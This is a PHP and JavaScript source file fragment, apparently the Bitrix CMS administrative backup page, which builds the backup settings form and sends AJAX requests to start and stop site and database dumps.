function DoDump()
{
	counter_sec = 0;
	var queryString = 'lang=<?echo htmlspecialcharsbx(LANGUAGE_ID)?>&process=Y&action=start';

	var ob = document.fd1.dump_bucket_id;
	for (var i = 0; i<ob.length; i++)
		if (ob[i].checked)
			queryString += '&dump_bucket_id=' + ob[i].value;

	i = 0;
	while (ob = document.fd1['dump_site_id' + i])
	{
		if (ob.checked)
			queryString += '&dump_site_id[]=' + ob.value;
		i++;
	}

	if (dump_encrypt_key)
		queryString += '&dump_encrypt_key=' + encodeURIComponent(dump_encrypt_key);

	if (document.fd1.dump_expert.checked)
	{
		queryString+='&dump_max_exec_time=' + encodeURIComponent(document.fd1.dump_max_exec_time.value);
		queryString+='&dump_max_exec_time_sleep=' + encodeURIComponent(document.fd1.dump_max_exec_time_sleep.value);
		queryString+='&dump_archive_size_limit=' + encodeURIComponent(document.fd1.dump_archive_size_limit.value);

		if (document.fd1.dump_disable_gzip.checked)
			queryString += '&dump_disable_gzip=Y';

		if (document.fd1.dump_integrity_check.checked)
			queryString += '&dump_integrity_check=Y';

		if(document.fd1.dump_file_public.checked)
			queryString +='&dump_file_public=Y';

		if(document.fd1.dump_file_kernel.checked)
			queryString+='&dump_file_kernel=Y';

		if(document.fd1.skip_symlinks.checked)
			queryString+='&skip_symlinks=Y';

		if(document.fd1.skip_mask.checked)
		{
			queryString+='&skip_mask=Y';

			var oTable = BX('skip_mask_table');
			numRows = oTable.rows.length;

			for(i=0;i<numRows;i++)
				queryString+='&arMask[]=' + encodeURIComponent(BX('mnu_FILES_'+i).value);
		}

		if(document.fd1.dump_file_public.checked || document.fd1.dump_file_kernel.checked)
			queryString+='&max_file_size=' + document.fd1.max_file_size.value;

		if((ob = document.fd1.dump_base) && ob.checked)
		{
			queryString +='&dump_base=Y';

			if(document.fd1.dump_base_skip_stat.checked)
				queryString +='&dump_base_skip_stat=Y';
			if(document.fd1.dump_base_skip_search.checked)
				queryString +='&dump_base_skip_search=Y';
			if(document.fd1.dump_base_skip_log.checked)
				queryString +='&dump_base_skip_log=Y';
		}

		<?
		if ($arAllBucket)
		{
			foreach($arAllBucket as $arBucket)
			{
				?>
					if (BX('dump_cloud_<?=$arBucket['ID']?>').checked)
						queryString += '&dump_cloud[<?=$arBucket['ID']?>]=Y';
				<?
			}
		}
		?>
	}
	else
		queryString += '&dump_all=Y';

	queryString += '&<?=bitrix_sessid_get()?>';

	BX('dump_result_div').innerHTML='';
	AjaxSend('dump.php', queryString);
	window.scrollTo(0, 0);
}

function EndDump(conditional)
{
	BX('stop_button').disabled = stop = true;

	if (!conditional || !counter_started)
		BX('start_button').disabled = false;
}

function AjaxSend(url, data)
{
	stop = false;
	BX('stop_button').disabled=false;
	BX('start_button').disabled=true;

	StartCounter();
	CHttpRequest.Action = function(result)
	{
		StopCounter(result);
		if (stop)
		{
			EndDump();
			BX('dump_result_div').innerHTML = '';
		}
		else
			BX('dump_result_div').innerHTML = result;
	};
	if (data)
		CHttpRequest.Post(url, data);
	else
		CHttpRequest.Send(url);
}

function RetryRequest()
{
	if (ob = BX('retry_button'))
		ob.disabled=true;
	AjaxSend('?process=Y&<?=bitrix_sessid_get()?>');
}

function getTableSize()
{
	AjaxSend('?ajax_mode=Y&action=get_table_size');
}
</script>


	<form name="fd1" action="<?echo $APPLICATION->GetCurPage()?>?lang=<?=LANGUAGE_ID?>" method="GET">
	<?
	$editTab->Begin();
	$editTab->BeginNextTab();

	if (!COption::GetOptionInt("main", 'dump_auto_enable_auto', 0))
	{
		?>
		<tr>
			<td colspan=2><?
			echo BeginNote();
			echo GetMessage('MAIN_DUMP_AUTO_WARN', array('#LINK#' => '/bitrix/admin/dump_auto.php?lang='.LANGUAGE_ID));
			echo EndNote();
			?></td>
		</tr>
		<?
	}

	if ($bBitrixCloud)
	{
	?>
	<tr>
		<td class="adm-detail-valign-top" width="40%"><?=GetMessage('DUMP_MAIN_BITRIX_CLOUD_DESC')?><span class="required"><sup>1</sup></span>:</td>
		<td width="60%">
		<?
			$backup = CBitrixCloudBackup::getInstance();
			$arFiles = $backup->listFiles();
			$backup->saveToOptions();
			CAdminMessage::ShowMessage(array(
				"TYPE" => "PROGRESS",
				"DETAILS" => GetMessage("BCL_BACKUP_USAGE", array(
					"#QUOTA#" => CFile::FormatSize($quota = $backup->getQuota()),
					"#USAGE#" => CFile::FormatSize($usage = $backup->getUsage()),
				)).'#PROGRESS_BAR#',
				"HTML" => false,
				"PROGRESS_TOTAL" => $quota,
				"PROGRESS_VALUE" => $usage,
			));
		?>
		</td>
	</tr>
	<?
	}
	?>
	<tr>
		<td class="adm-detail-valign-top" width=40%><?=GetMessage('MAIN_DUMP_ARC_LOCATION')?></td>
		<td>
			<div><input type=radio name=dump_bucket_id value="-1" <?=$bBitrixCloud ? "checked" : ""?> id="bitrixcloud" <?=$bBitrixCloud ? '' : 'disabled'?> onclick="CheckEncrypt(this)"> <label for="bitrixcloud"><?=GetMessage('DUMP_MAIN_IN_THE_BXCLOUD')?></label><?=$strBXError ? ' <span style="color:red">('.$strBXError.')</span>' : ''?></div>
			<div><input type=radio name=dump_bucket_id value="0"  <?=!$bBitrixCloud ? "checked" : ""?> id="dump_bucket_id_0" onclick="CheckEncrypt(this)"> <label for="dump_bucket_id_0"><?=GetMessage('MAIN_DUMP_LOCAL_DISK')?></label></div>
			<?
			$arWriteBucket = CBackup::GetBucketList($arFilter = array('READ_ONLY' => 'N'));
			if ($arWriteBucket)
			{
				foreach($arWriteBucket as $f)
					echo '<div><input type=radio name=dump_bucket_id value="'.$f['ID'].'" id="dump_bucket_id_'.$f['ID'].'" onclick="CheckEncrypt(this)"> <label for="dump_bucket_id_'.$f['ID'].'">'.GetMessage('DUMP_MAIN_IN_THE_CLOUD').' '.htmlspecialcharsbx($f['BUCKET'].' ('.$f['SERVICE_ID'].')').'</label></div>';
			}
			?>
		</td>
	</tr>
<?
	$arSitePath = array();
	$res = CSite::GetList($by='sort', $order='asc', array('ACTIVE'=>'Y'));
	while($f = $res->Fetch())
	{
		$root = rtrim($f['ABS_DOC_ROOT'],'/');
		if (is_dir($root))
			$arSitePath[$root] = array($f['ID'] => '['.$f['ID'].'] '.$f['NAME']);
	}

	if (count($arSitePath) > 1)
	{
	?>
	<tr>
		<td class="adm-detail-valign-top"><?=GetMessage("DUMP_MAIN_SITE")?><span class="required"><sup>2</sup></span></td>
		<td>
			<?
				if ($s = COption::GetOptionString("main", "dump_site_id", $NS['dump_site_id']))
					$dump_site_id = unserialize($s);
				else
					$dump_site_id = array();
				$i = 0;
				foreach($arSitePath as $path => $val)
				{
					$path = rtrim(str_replace('\\','/',$path),'/');
					list($k,$v) = each($val);
					echo '<div><input type=checkbox id="dump_site_id'.$i.'" value="'.htmlspecialcharsbx($k).'" '.(in_array($k, $dump_site_id) ? ' checked' : '').'> <label for="dump_site_id'.$i.'">'.htmlspecialcharsbx($v).'</label></div>';
					$i++;
				}
			?>
		</td>
	</tr>
	<?
	}
	?>
	<?
	$editTab->BeginNextTab();
	?>
	<tr>
		<td colspan=2 align=center><input type="checkbox" name="dump_expert" onclick="CheckExpert()" id="dump_expert"> <label for="dump_expert"><?=GetMessage("DUMP_MAIN_ENABLE_EXPERT")?></label></td>
	</tr>
	<tr id="tr_dump_expert">
		<td colspan=2><?
		echo BeginNote();
		echo GetMessage("DUMP_MAIN_CHANGE_SETTINGS");
		echo EndNote();
		?></td>
	</tr>



	<tr class="heading">
		<td colspan="2"><?=GetMessage("DUMP_MAIN_ARC_CONTENTS")?></td>
	</tr>
<?
if ($arAllBucket)
{
?>
	<tr>
		<td class="adm-detail-valign-top"><?=GetMessage("DUMP_MAIN_DOWNLOAD_CLOUDS")?></td>
		<td>
			<?
			foreach($arAllBucket as $arBucket)
				echo '<div><input type="checkbox" id="dump_cloud_'.$arBucket['ID'].'" OnClick="CheckActiveStart()" '.(IntOption("dump_cloud_".$arBucket['ID'], 1) ? "checked" : "").'> <label for="dump_cloud_'.$arBucket['ID'].'">'.htmlspecialcharsbx($arBucket['BUCKET'].' ('.$arBucket['SERVICE_ID'].')').'</label></div>';
			?>
		</td>
	</tr>
<?
}
?>
	<?
	if ($DB->type == 'MYSQL')
	{
		?>
		<tr>
			<td><?=GetMessage("DUMP_MAIN_ARC_DATABASE")?> <span id="db_size">(<a href="javascript:getTableSize()">?</a> <?=GetMessage("MAIN_DUMP_BASE_SIZE")?>)</span>:</td>
			<td><input type="checkbox" name="dump_base" OnClick="CheckActiveStart()" <?=IntOption("dump_base", 1) ? "checked" : "" ?>></td>
		</tr>
		<tr>
			<td class="adm-detail-valign-top"><?=GetMessage("DUMP_MAIN_DB_EXCLUDE")?></td>
			<td>
				<div><input type="checkbox" name="dump_base_skip_stat" <?=IntOption("dump_base_skip_stat", 0) ? "checked" : "" ?> id="dump_base_skip_stat"> <label for="dump_base_skip_stat"><?=GetMessage("MAIN_DUMP_BASE_STAT")?></label> <span id=db_stat_size></span></div>
				<div><input type="checkbox" name="dump_base_skip_search" value="Y" <?=IntOption("dump_base_skip_search", 0) ? "checked" : "" ?> id="dump_base_skip_search"> <label for="dump_base_skip_search"><?=GetMessage("MAIN_DUMP_BASE_SINDEX")?></label> <span id=db_search_size></span></div>
				<div><input type="checkbox" name="dump_base_skip_log" value="Y"<?=IntOption("dump_base_skip_log", 0) ? "checked" : "" ?> id="dump_base_skip_log"> <label for="dump_base_skip_log"><?=GetMessage("MAIN_DUMP_EVENT_LOG")?></label> <span id=db_event_size></span></div>
			</td>
		</tr>
		<?
	}
	?>
	<tr>
		<td><?echo GetMessage("MAIN_DUMP_FILE_KERNEL")?></td>
		<td><input type="checkbox" name="dump_file_kernel" value="Y" OnClick="CheckActiveStart()" <?=IntOption("dump_file_kernel", 1) ? "checked" : ''?>></td>
	</tr>
	<tr>
		<td><?echo GetMessage("MAIN_DUMP_FILE_PUBLIC")?></td>
		<td><input type="checkbox" name="dump_file_public" value="Y" OnClick="CheckActiveStart()" <?=IntOption("dump_file_public", 1) ? "checked" : ''?>></td>
	</tr>
	<tr>
		<td class="adm-detail-valign-top"><?echo GetMessage("MAIN_DUMP_MASK")?><span class="required"><sup>3</sup></span></td>
		<td>
			<input type="checkbox" name="skip_mask" value="Y" <?=IntOption('skip_mask', 0)?" checked":'';?> onclick="CheckActiveStart()">
			<table id="skip_mask_table" cellspacing=0 cellpadding=0>
			<?
			$i=-1;

			$res = unserialize(COption::GetOptionString("main","skip_mask_array"));
			$skip_mask_array = is_array($res)?$res:array();

			foreach($skip_mask_array as $mask)
			{
				$i++;
				echo
				'<tr><td>
					<input type="text" name="arMask[]" id="mnu_FILES_'.$i.'" value="'.htmlspecialcharsbx($mask).'" size=30>'.
					'<input type="button" id="mnu_FILES_btn_'.$i.'" value="..." onclick="showMenu(this, \''.$i.'\')">'.
				'</tr>';
			}
			$i++;
			?>
				<tr><td><input type="text" name="arMask[]" id="mnu_FILES_<?=$i?>" size=30><input type="button" id="mnu_FILES_btn_<?=$i?>" value="..." onclick="showMenu(this, '<?=$i?>')"></tr>
			</table>
			<input type=button id="more_button" value="<?=GetMessage('MAIN_DUMP_MORE')?>" onclick="AddTableRow()">
		</td>
	</tr>
	<tr>
		<td><?echo GetMessage("MAIN_DUMP_FILE_MAX_SIZE")?></td>
		<td><input type="text" name="max_file_size" size="10" value="<?=IntOption("dump_max_file_size", 0)?>" <?=CBackup::CheckDumpFiles() ? '' : "disabled"?>>
		<?echo GetMessage("MAIN_DUMP_FILE_MAX_SIZE_kb")?></td>
	</tr>
	<tr>
		<td><?echo GetMessage("MAIN_DUMP_SKIP_SYMLINKS")?></td>
		<td><input type="checkbox" name="skip_symlinks" value="Y" <?=IntOption("skip_symlinks", 0) ? "checked" : ''?>></td>
	</tr>




	<tr class="heading">
		<td colspan="2"><?=GetMessage("DUMP_MAIN_ARC_MODE")?></td>
	</tr>
	<tr>
		<td><?=GetMessage("MAIN_DUMP_ENABLE_ENC")?><span class="required"><sup>4</sup></td>
		<td><input type="checkbox" name="dump_encrypt" value="Y" <?=(IntOption("dump_encrypt", 0) ? "checked" : "")?> <?=$bMcrypt && !$bBitrixCloud  ? '' : 'disabled'?>></td>
	</tr>
	<tr>
		<td width=40%><?=GetMessage('INTEGRITY_CHECK_OPTION')?></td>
		<td><input type="checkbox" name="dump_integrity_check" <?=IntOption('dump_integrity_check', 1) ? 'checked' : '' ?>>
	</tr>
	<tr>
		<td><?=GetMessage('DISABLE_GZIP')?></td>
		<td><input type="checkbox" name="dump_disable_gzip" <?=IntOption('dump_use_compression', 1) && $bGzip ? '' : 'checked' ?> <?=$bGzip ? '' : 'disabled'?>>
	</tr>
	<tr>
		<td width=40%><?=GetMessage('STEP_LIMIT')?></td>
		<td>
			<input type="text" name="dump_max_exec_time" value="<?=IntOption("dump_max_exec_time", 20)?>" size=2>
			<?echo GetMessage("MAIN_DUMP_FILE_STEP_sec");?>,
			<?echo GetMessage("MAIN_DUMP_FILE_STEP_SLEEP")?>
			<input type="text" name="dump_max_exec_time_sleep" value="<?=IntOption("dump_max_exec_time_sleep", 3)?>" size=2>
			<?echo GetMessage("MAIN_DUMP_FILE_STEP_sec");?>
		</td>
	</tr>

	<tr>
		<td><?=GetMessage("MAIN_DUMP_MAX_ARCHIVE_SIZE")?></td>
		<td><input type="text" name="dump_archive_size_limit" value="<?=intval(COption::GetOptionString('main', 'dump_archive_size_limit', 100 * 1024 * 1024)) / 1024 / 1024?>" size=4> <?=GetMessage("MAIN_DUMP_MAX_ARCHIVE_SIZE_VALUES")?><span class="required"><sup>5</sup></span></td>
	</tr>
	<?
	$editTab->Buttons();
	?>
	<input type="button" id="start_button" class="adm-btn-save" value="<?=GetMessage("MAIN_DUMP_FILE_DUMP_BUTTON")?>" OnClick="StartDump();">
	<input type="button" id="stop_button" value="<?=GetMessage("MAIN_DUMP_FILE_STOP_BUTTON")?>" OnClick="EndDump(true)" disabled>
	<?
	$editTab->End();
	?>
	</form>
	<br>

<?
echo BeginNote();
echo '<div><span class=required><sup>1</sup></span> '.GetMessage("DUMP_MAIN_BXCLOUD_INFO").'</div>';
echo '<div><span class=required><sup>2</sup></span> '.GetMessage("DUMP_MAIN_MULTISITE_INFO").'</div>';
echo '<div><span class=required><sup>3</sup></span> '.GetMessage("MAIN_DUMP_FOOTER_MASK").'</div>';
echo '<div><span class=required><sup>4</sup></span> '.GetMessage("MAIN_DUMP_BXCLOUD_ENC").'</div>';
echo '<div><span class=required><sup>5</sup></span> '.GetMessage("MAIN_DUMP_MAX_ARCHIVE_SIZE_INFO").'</div>';
echo EndNote();

require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/include/epilog_admin.php");

#################################################
################## FUNCTIONS
function IntOption($name, $def = 0)
{
	static $CACHE;
	if (!$CACHE[$name])
		$CACHE[$name] = COption::GetOptionInt("main", $name, $def);
	return $CACHE[$name];
}

function getTableSize($reg)
{
	global $DB;
	if ($DB->type != 'MYSQL')
		return 0;

	static $CACHE;

	if (!$CACHE)
	{
		$CACHE = array();
		$sql = "SHOW TABLE STATUS";
		$res = $DB->Query($sql);

		while($row = $res->Fetch())
			$CACHE[$row['Name']] = $row['Data_length'];
	}

	$size = 0;
	foreach($CACHE as $table => $s)
		if (!$reg || preg_match('#'.$reg.'#i', $table))
			$size += $s;
	return $size;
}

function haveTime()
{
	if(defined('NO_TIME'))
		return microtime(true) - START_EXEC_TIME < 1;
	return microtime(true) - START_EXEC_TIME < IntOption("dump_max_exec_time");
}

function workTime()
{
	return microtime(true) - START_EXEC_TIME;
}


function RaiseErrorAndDie($strError, $bRepeat = false)
{
	if ($bRepeat)
	{
		$strError .= '<br><input type=button value="'.GetMessage('DUMP_RETRY').'" onclick="RetryRequest()" id="retry_button">
		<script>window.setTimeout(RetryRequest, 60000);</script>';
	}

	CAdminMessage::ShowMessage(array(
		"MESSAGE" => GetMessage("MAIN_DUMP_ERROR"),
		"DETAILS" =>  $strError,
		"TYPE" => "ERROR",
		"HTML" => true));
	echo '<script>EndDump();</script>';
	die();
}
?>